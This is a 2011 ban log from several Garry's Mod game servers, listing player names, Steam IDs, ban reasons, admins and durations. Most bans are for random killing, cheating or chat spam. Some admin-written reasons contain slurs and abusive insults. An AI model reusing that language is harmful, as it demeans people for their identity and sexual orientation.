++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:4:20 Unbanned +7:29 pm 11-12-11 Unknown STEAM_0:0:34505750 Rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 +Unbanned +4:53 pm 11-12-11 macd1102 STEAM_0:1:5066699 Alt of banned ID +STEAM_0:1:32218025 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:38 pm 11-12-11 Unknown STEAM_0:0:34731259 Left while under attack ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 0:16:40 Unbanned +4:10 pm 11-12-11 Unknown STEAM_0:0:26761046 RDM multiple times then +left. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:0:0 Unbanned +4:08 pm 11-12-11 Epic Legion STEAM_0:0:30194937 RDMing AFKs +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:59 pm 11-12-11 Jee-Wizz STEAM_0:0:17541780 Mass RDM +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 +Unbanned +2:25 pm 11-12-11 Unknown STEAM_0:0:42214844 Leaving while base was +under attack Norzone Official Zombified World|Lvl Cap +10 Zombified +World 0:16:40 Unbanned +11:06 am 11-12-11 Unknown STEAM_0:0:27813895 Disconnecting while base +is under attack Unknown Entity Official Zombified World|Lvl Cap +10 +Zombified World 0:16:40 Unbanned +12:51 am 11-12-11 Unknown STEAM_0:1:17358836 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +12:29 am 11-12-11 Unknown STEAM_0:0:29941076 RDM then fucked off ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:0 Unbanned +11:59 pm 10-12-11 wadey STEAM_0:1:40605260 RDM ' s +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:12:0 Unbanned +9:27 pm 10-12-11 +[SP]+ SaCleoCheater STEAM_0:0:25683809 test +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +5:01 pm 10-12-11 Unknown STEAM_0:1:25130905 RDM and leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:24 pm 10-12-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:26692186 (Console) Fretta|Tigergruppe Kommand Deathrun +0:0:0 Unbanned +2:50 pm 10-12-11 speuda STEAM_0:0:25701342 Requested. Norzone +Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 Unbanned +2:29 pm 10-12-11 Kizzo Of Owesomeness STEAM_0:0:35309960 Trolling. +Norzone Official Zombified World|Lvl Cap +10 Zombified World 0:5:0 +Unbanned +6:22 pm 09-12-11 Youknowmynamewhenyouseeit STEAM_0:1:19147578 Rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +5:45 pm 09-12-11 Unknown STEAM_0:0:25559631 Ban Request - Mic +Spammer. Third ban so far. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:0:0 Unbanned +5:06 pm 09-12-11 Bladeur double Triste STEAM_0:1:25716031 please go +cool down +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap ++10 Zombified World 0:6:0 Unbanned +2:50 pm 08-12-11 Camper STEAM_0:0:30697563 goomba stomping, again. +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +2:44 pm 08-12-11 Kuimi STEAM_0:1:9285977 Goomba stomping Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +2:27 pm 08-12-11 â?¢cCâ?¢ MaGnific Rat STEAM_0:1:8993858 RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:30 Unbanned +2:24 pm 08-12-11 | TG | Overwatch Elite STEAM_0:0:27058039 Rdm after +warnings +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:0 Unbanned +1:23 am 08-12-11 Ki113r2073 STEAM_0:1:26599296 Chat Spamming. +[SP]+ +Clitaurus Rex Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +10:24 pm 07-12-11 BHD STEAM_0:0:28967667 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +9:58 pm 07-12-11 G.B. Hindert STEAM_0:0:17086047 Goomba stomping +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +9:28 pm 07-12-11 [WS] WaffleCopter101 +PRO+ STEAM_0:1:30713439 +Unban Nekoace Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +8:19 pm 07-12-11 [Gmod.biz]jamesmcdumpling STEAM_0:0:46646072 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +8:19 pm 07-12-11 [WS] WaffleCopter101 +PRO+ STEAM_0:1:30713439 map +exploiting MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:34 Unbanned +8:18 pm 07-12-11 AwesomeBros STEAM_0:1:30715362 map exploiting MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +7:27 pm 07-12-11 Teribletwinz STEAM_0:1:17119398 map glitching along +with others Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +7:26 pm 07-12-11 The Evil Toaster STEAM_0:1:15601130 Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +6:55 pm 07-12-11 Camper STEAM_0:0:30697563 General dicking +around/rdm Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +1:37 pm 07-12-11 Ti[Ger] STEAM_0:0:15473882 i had no knife, i had a +prop stick now fuck off +[SP]+ Mr Dobilina Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 41:16:0 Unbanned +12:55 pm 07-12-11 Unknown STEAM_0:0:39341825 Ban request - rdm ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 7:15:20 Unbanned +2:34 pm 06-12-11 [TE] 7th-sign STEAM_0:0:34804763 RDM +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:40 Unbanned +8:02 pm 05-12-11 Unknown STEAM_0:0:19340321 Cheat: InkBot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:00 pm 05-12-11 Unknown STEAM_0:1:19839009 Cheat: NeonHack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:24213184 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:5682164 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:31052706 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:28810910 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:31219365 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:26604027 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:42802404 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:40335356 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:26692186 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:42297594 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:28282921 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:10309922 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:39101463 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:39690375 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:25657133 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:32024708 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:51 pm 05-12-11 Neg@tivnÑ?й^2|Qm)^1(Pro| STEAM_0:1:22685831 Base +Delete +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 1:0:0 Unbanned +4:51 pm 05-12-11 à¹?à¹?â?¢â?¢$e@Xesâ?¢â?¢à¹?à¹? STEAM_0:0:27446399 +RDM and argued about it - douche +[SP]+ Mr Dobilina Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:16:40 Unbanned +12:03 am 05-12-11 cmrotta76 STEAM_0:1:44862629 Stealing a gun given +by another player +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 4:20:40 Unbanned +6:52 pm 04-12-11 Unknown STEAM_0:1:41358892 RDM then trying to escape +a ban +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:48 pm 04-12-11 Teribletwinz STEAM_0:1:17119398 prop killing +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:35 pm 04-12-11 Unknown STEAM_0:1:14282857 TK and not giving the gun +back +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 2:0:0 Unbanned +2:08 pm 04-12-11 Unknown STEAM_0:0:41174990 RDM and Left Peanut +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 Unbanned +2:07 pm 04-12-11 KarateKid STEAM_0:0:26776903 22 KARKA!?! Peanut +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +9:26 am 04-12-11 blazer(nl) STEAM_0:1:18283118 Propbreaking +(Console) Official Zombified World|Lvl Cap +10 Zombified World +0:2:0 Unbanned +8:19 pm 03-12-11 Karl STEAM_0:0:41898367 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:06 pm 01-12-11 Yashmon STEAM_0:0:14696634 your wish is my command, +*DEAD* Yashmon : Can you ban me for 20 minutesF +[SP]+ Mr Dobilina +Fretta|Tigergruppe Kommand Deathrun 0:0:20 Unbanned +10:52 pm 01-12-11 Unknown STEAM_0:0:29413573 Ban Request, Faction +Base in Trader Ring +[SP]+ Nemesis Official Zombified World|Lvl Cap ++10 Zombified World 1:12:0 Unbanned +10:41 pm 01-12-11 kitten STEAM_0:1:41661803 massive rdm fest +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:4:0 Unbanned +2:07 am 30-11-11 Unknown STEAM_0:0:39101463 Utter coon - SethHack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:27 pm 28-11-11 biohazard STEAM_0:0:19938508 You're a bit of a gay, +aren't you? Norzone Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +6:59 pm 28-11-11 Jackson STEAM_0:1:38331357 prop pushing Norzone +Official Zombified World|Lvl Cap +10 Zombified World 0:5:0 Unbanned +6:55 pm 28-11-11 [tg]Diemitery STEAM_0:0:39742443 Prop pushing +Norzone Official Zombified World|Lvl Cap +10 Zombified World 0:5:0 +Unbanned +5:19 pm 28-11-11 Unknown STEAM_0:1:15757583 banned (Console) +Killa's Zombie Survival Server Zombie Survival Permanent Banned +3:15 pm 28-11-11 MrJimBob STEAM_0:1:18751328 Teamkilling +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +2:17 am 28-11-11 Unknown STEAM_0:1:41122766 ALOT of RDming +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +2:03 am 28-11-11 Unknown STEAM_0:1:40568395 +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:10 am 28-11-11 [WWLR] Cute Adorable Wolf STEAM_0:0:22919872 RDM, +Does not seem to care. +[SP]+ SaCleoCheater Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 10:0:0 Unbanned +11:58 pm 27-11-11 Sheni-Mai æ­»ã?¬ STEAM_0:1:15779806 Goomba stomping +an admin. Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +6:11 pm 27-11-11 Mr.piratebuy STEAM_0:0:37791743 RDM+Leave +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:03 am 27-11-11 ROOKIE RIGGA STEAM_0:1:27874783 Mass RDM as +detective +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:4:0 Unbanned +2:55 am 27-11-11 Lumani STEAM_0:1:19606878 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:03 pm 26-11-11 Unknown STEAM_0:0:46227338 Reban of 2/3, forgot 8 on +the end. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand GarryWare +70:0:0 Unbanned +8:51 pm 26-11-11 Unknown STEAM_0:0:18464487 Chat spam 3/3 - Ban +Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Deathrun +70:0:0 Unbanned +8:51 pm 26-11-11 Unknown STEAM_0:0:4622733 Chat spam 2/3 - Ban +Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Deathrun +70:0:0 Unbanned +8:50 pm 26-11-11 Unknown STEAM_0:0:23650481 Chat spam 1/3 - Ban +Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Deathrun +70:0:0 Unbanned +8:34 pm 25-11-11 --â??KillUFastâ??-- STEAM_0:0:29413573 Deleting base +during war. Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +10:10 pm 24-11-11 +[SP]+ Ã?ĤâţÄ?ḼâÄ?. STEAM_0:1:29265352 asked +for it MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +10:04 pm 24-11-11 +[SP]+ Ã?ĤâţÄ?ḼâÄ?. STEAM_0:1:29265352 asked +for it MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +9:57 pm 24-11-11 fixtob STEAM_0:1:35625635 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:48 pm 24-11-11 Yo Mama STEAM_0:0:19699556 teamkill MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +6:11 pm 24-11-11 Peterpedal STEAM_0:0:40083491 Some weird ass +nocolide hack Nekoace Killa's Zombie Survival Server Zombie +Survival Permanent Banned +5:51 pm 24-11-11 Applejack STEAM_0:1:19147578 Banned Cutie +Fretta|Tigergruppe Kommand Surf 1:0:0 Unbanned +5:11 pm 24-11-11 Unknown STEAM_0:0:29474517 Base Delete +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +1:0:0 Unbanned +3:28 am 24-11-11 (((CC^1CP^4))) STEAM_0:0:34796502 RDM +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:40 Unbanned +2:45 am 24-11-11 Unknown STEAM_0:0:25559631 Excessive Micspam, Bed +rep. - Ban Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand +Surf 1:0:0 Unbanned +10:30 pm 23-11-11 MarviinR STEAM_0:1:40250551 bi MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:27 pm 23-11-11 G.B. Hindert STEAM_0:0:17086047 ' stomping faggit +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +8:17 pm 23-11-11 Deathknightrofl STEAM_0:0:21535588 teamkill MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +7:52 pm 23-11-11 Unknown STEAM_0:0:5492019 fake tags MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:42 pm 23-11-11 Cpt.BoneBreaker [MOGZ] STEAM_0:0:30812563 racism ++[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +7:57 pm 22-11-11 =A-o-G= ^0D^3r.^0A^3!_ STEAM_0:1:7361238 RDM +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:11:0 +Unbanned +7:16 pm 22-11-11 Ð?Ï?y.εÏ?ε STEAM_0:1:35863316 I warned you +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:00 pm 22-11-11 Unknown STEAM_0:1:41154609 Ban Request + (Console) +Fretta|Tigergruppe Kommand Deathrun 60:20:58 Unbanned +5:40 pm 22-11-11 Unknown STEAM_0:1:41154609 Mass RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +7:52 pm 21-11-11 Unknown STEAM_0:0:26652185 Left Faction while in +war. +[SP]+ Nemesis Official Zombified World|Lvl Cap +10 Zombified +World 2:0:0 Unbanned +11:43 pm 20-11-11 [LL](S-117) SuPahMaN STEAM_0:1:42693688 same MAD +MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +11:43 pm 20-11-11 [RIOT]seth STEAM_0:1:39015952 stop being a cunt +MAD MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +8:29 pm 20-11-11 darkball1 STEAM_0:0:15620064 RDM Wouldn't respond to +admin. Kicked for low karma. +[SP]+ SaCleoCheater Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:4:0 Unbanned +8:10 pm 20-11-11 Unknown STEAM_0:0:26505662 Not responding, RDM and +left. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:20:40 Unbanned +7:20 pm 20-11-11 Unknown STEAM_0:1:26305198 RDM and left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +7:18 pm 20-11-11 Unknown STEAM_0:1:26305198 Mass RDM, wouldn't +respond. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:18:40 Unbanned +5:57 pm 20-11-11 {[XDj]}WiNtErSt0rM STEAM_0:1:33250973 exploit MAD +MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +5:03 pm 20-11-11 Unknown STEAM_0:0:40706822 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +2:46 pm 20-11-11 â??â??â??â??HL2â??â??â??â?? STEAM_0:0:34523213 +Cadebreaking Norzone Official Zombified World|Lvl Cap +10 Zombified +World 0:3:20 Unbanned +1:13 pm 20-11-11 Unknown STEAM_0:1:39225215 take your advertisements +elsewhere Norzone Official Zombified World|Lvl Cap +10 Zombified +World 2:18:40 Unbanned +12:34 pm 20-11-11 Unknown STEAM_0:1:25179315 RDM,Prop Push + leave ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +12:54 am 20-11-11 Unknown STEAM_0:0:25155785 Hold on! Extended due to +the ammount of previous bans MAD MANN Fretta|Tigergruppe Kommand Nine +Tenths 7:0:0 Unbanned +12:45 am 20-11-11 James Bomb STEAM_0:1:12108230 Alt of banned ID +STEAM_0:0:25155785 (Console) Fretta|Tigergruppe Kommand Nine Tenths +0:23:56 Unbanned +12:41 am 20-11-11 *|PIRATE|* Justin Bieber Chicke STEAM_0:0:25155785 +baby baby baby noooooo RDM MAD MANN Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +12:31 am 20-11-11 GUNsphinx STEAM_0:1:9885303 wrong! MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:26 pm 19-11-11 MarviinR STEAM_0:1:40250551 fuck off MAD MANN +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +1:44 pm 19-11-11 Unknown STEAM_0:0:31219365 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:44 pm 19-11-11 Unknown STEAM_0:1:25657133 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:19 am 19-11-11 Supreme Pootis STEAM_0:1:37618161 Fuck you RDMer. ++[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4629:15:6 Banned +12:02 am 19-11-11 [LL](S-117) SuPahMaN STEAM_0:1:42693688 weapon +stealing in faction war Wigbig Official Zombified World|Lvl Cap +10 +Zombified World 0:1:0 Unbanned +11:52 pm 18-11-11 Jack The Ripper STEAM_0:0:37298910 Faction War +weapon stealing - Not in a faction or in war +[SP]+ Nemesis Official +Zombified World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +7:49 am 18-11-11 Unknown STEAM_0:0:2285859 Here, have a well earned +permaban. Norzone Fretta|Tigergruppe Kommand Gamemaster Permanent +Banned +7:25 pm 17-11-11 [Duplex-owner Roxi STEAM_0:0:26973706 minutes ' +smart ass ' Wigbig Killa's Zombie Survival Server Zombie Survival +4:4:0 Unbanned +2:18 am 17-11-11 Flots STEAM_0:1:42186117 Alt of banned ID +STEAM_0:1:421861172 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +1:58 am 17-11-11 {BAMF}YoUnGxKiLleRx STEAM_0:0:25171937 RDM +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:30 pm 16-11-11 Unknown STEAM_0:1:30430733 C4 RDM then leave. ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Deathrun 2:0:0 Unbanned +11:54 pm 15-11-11 An Educated Fish STEAM_0:1:33878748 ghosting - dont +do it +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +10:54 pm 15-11-11 Unknown STEAM_0:0:22953976 troll MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:52 pm 15-11-11 swaggasaur STEAM_0:0:22619110 no you shut up and +stop being such a fag MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +3:13 pm 15-11-11 Unknown STEAM_0:1:30708596 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:4:40 Unbanned +2:12 pm 15-11-11 Unknown STEAM_0:1:29884665 Faction Exploit +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 4:4:0 +Unbanned +11:27 pm 14-11-11 Unknown STEAM_0:0:24213184 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:22119869 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:43221644 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:43197919 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:39163312 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:5682164 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:23750602 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:10088463 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:32835647 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:31615557 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:45523007 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:00 pm 14-11-11 Applejack STEAM_0:1:19147578 Nice work RDMing an +admin, enjoy your ban Cutie Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +8:57 pm 14-11-11 G.B. Hindert STEAM_0:0:17086047 Exploit RDM. Don't +do it again. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:0:30 Unbanned +4:10 pm 14-11-11 Unknown STEAM_0:0:16210349 RDM then leave. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +1:58 am 14-11-11 MarviinR STEAM_0:1:40250551 Mass RDM, Complaints of +RDM all night, karma reset to 800 at least twice in 2 hours. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:51 am 14-11-11 Prof. Jason STEAM_0:0:37623107 RDM ' d T, tried to +RDM multiple people and wouldn ' t respond to admin. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:7:0 Unbanned +12:04 am 14-11-11 .sf| White_Wolf STEAM_0:0:17875201 claiming rooms +Wigbig Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +4:14 pm 13-11-11 [HG] TheScorpYoN STEAM_0:0:18395000 Retard, RDM in +epic scale +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +3:03 am 13-11-11 Unknown STEAM_0:0:15646676 Destroying factions +props,faction exploit +[SP]+ Anime Official Zombified World|Lvl Cap ++10 Zombified World 1:0:0 Unbanned +10:38 pm 12-11-11 James Bomb STEAM_0:1:12108230 Alt of banned ID +STEAM_0:0:25155785 (Console) Fretta|Tigergruppe Kommand Prop Hunt +0:23:29 Unbanned +10:08 pm 12-11-11 *|PIRATE|* Justin Bieber Chicke STEAM_0:0:25155785 +Lol good work RDMing an admin Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +3:43 pm 12-11-11 Unknown STEAM_0:1:16645930 RDM,wanted to be banned ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +3:24 pm 12-11-11 s.timan STEAM_0:1:43850444 RDming multiple rounds ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +1:41 am 12-11-11 Someone STEAM_0:0:30174673 watched you rdm +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +1:18 am 12-11-11 nathanboy STEAM_0:1:17227228 i even watched you rdm +that time +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +11:02 pm 11-11-11 [GH] Monkeyboy STEAM_0:0:24557761 bi MAD MANN +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +10:09 pm 11-11-11 !OMG Awesome Spycrab! STEAM_0:1:37836792 ' spam ' +Wigbig Killa's Zombie Survival Server Zombie Survival 0:11:6 Unbanned +10:52 pm 10-11-11 DrJetro! STEAM_0:1:9673012 i meant to ban this +guy +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +10:51 pm 10-11-11 Darkness Dragon STEAM_0:0:7135303 rdm twat +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +10:51 pm 10-11-11 Prosch STEAM_0:1:13010594 idiot +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +10:38 pm 09-11-11 AppleJack{SA} (back for now) STEAM_0:1:29099518 +stop being a douche +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:0 Unbanned +6:05 pm 09-11-11 [TBR] Holli3 STEAM_0:1:17396989 RDM +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:48 pm 08-11-11 